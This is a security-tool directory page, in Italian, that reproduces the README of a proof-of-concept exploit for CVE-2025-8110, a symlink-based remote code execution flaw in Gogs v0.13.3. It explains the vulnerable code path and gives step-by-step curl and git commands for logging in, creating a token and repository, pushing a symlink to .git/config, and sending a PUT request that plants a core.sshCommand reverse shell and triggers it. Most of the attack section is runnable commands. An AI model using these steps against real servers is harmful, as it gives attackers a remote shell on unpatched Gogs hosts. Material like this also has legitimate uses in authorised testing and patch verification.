Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-8110-PoC — One-shot exploit per Gogs RCE tramite symlink (CVE-2025-8110) che attiva una reverse shell tramite una singola richiesta PUT a UpdateRepoFile. | Kitploit
Strumenti/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

One-shot exploit per Gogs RCE tramite symlink (CVE-2025-8110) che attiva una reverse shell tramite una singola richiesta PUT a UpdateRepoFile.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-8110 PoC

Script proof-of-concept in Python per CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Colpo singolo: la stessa PUT malevola attiva git fetch → sshCommand → reverse shell.

⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento contro sistemi di cui non si possiede il permesso scritto per testarli è illegale.

Dettagli

  • PoC per CVE-2025-8110
  • Versione vulnerabile: Gogs v0.13.3
  • Versione corretta: Gogs v0.13.4
  • Riferimento: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Comportamento Vulnerabile

Il gestore UpdateRepoFile in internal/db/repo_editor.go chiama per scrivere il contenuto del file, che segue i symlink senza controllarli. Combinato con il fatto che precedenti commit di symlink attraversano , un attaccante può:

os.WriteFile
.git/
  1. Inviare un symlink x → .git/config al repository bare
  2. Chiamare PUT /api/v1/repos/{owner}/{repo}/contents/x con un .git/config malevolo contenente core.sshCommand impostato su un comando reverse shell
  3. La stessa richiesta PUT scrive la configurazione e attiva git fetch origin (tramite CreateOrUpdateRepoFile → UpdateLocalCopyBranch), che legge la configurazione modificata ed esegue sshCommand — generando una reverse shell in un colpo solo.

File

  • poc.py: richiede target, username, password, LHOST e LPORT; effettua il login, crea un token API, crea un repository, invia un symlink e sovrascrive .git/config tramite l'API — la singola richiesta PUT stessa attiva la reverse shell.

Utilizzo

Esegui:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Argomenti

ArgomentoObbligatorioDescrizione
--target / -tSìHostname o URL del target Gogs
--usernameSìNome utente Gogs esistente
--passwordSìPassword Gogs esistente
--lhostSìIP dell'ascoltatore per reverse shell
--lportSìPorta dell'ascoltatore

Come funziona

  1. Login — accede all'interfaccia web di Gogs con le credenziali fornite
  2. Token — crea un token API personale tramite /user/settings/applications
  3. Repo — crea un nuovo repository vuoto tramite l'API di Gogs
  4. Push symlink — clona il repo, crea un symlink x → .git/config, fa commit e push
  5. Sovrascrittura e attivazione (colpo singolo) — invia PUT /api/v1/repos/{owner}/{repo}/contents/x con una configurazione git malevola contenente core.sshCommand e un URL remoto SSH. Il metodo CreateOrUpdateRepoFile di Gogs chiama internamente UpdateLocalCopyBranch → git fetch origin, che legge la configurazione avvelenata ed esegue sshCommand — generando una reverse shell in una singola richiesta.

curl equivalente

Login e ottenere CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Creare token API

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Creare repo

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Push symlink

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Sovrascrittura e attivazione (singola PUT — aspettarsi timeout, arriva la shell)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

La richiesta PUT stessa attiva git fetch origin, che legge il .git/config avvelenato ed esegue la reverse shell. Non è necessaria una seconda richiesta.

Perché --max-time 10? Il server potrebbe bloccarsi per ~10s mentre git elabora la scrittura e attiva il fetch. Usare --max-time 10 garantisce che curl mantenga la connessione aperta abbastanza a lungo affinché la shell si riconnetta. Senza di esso, la connessione potrebbe cadere prima che la shell si attivi.

Scarica lo strumento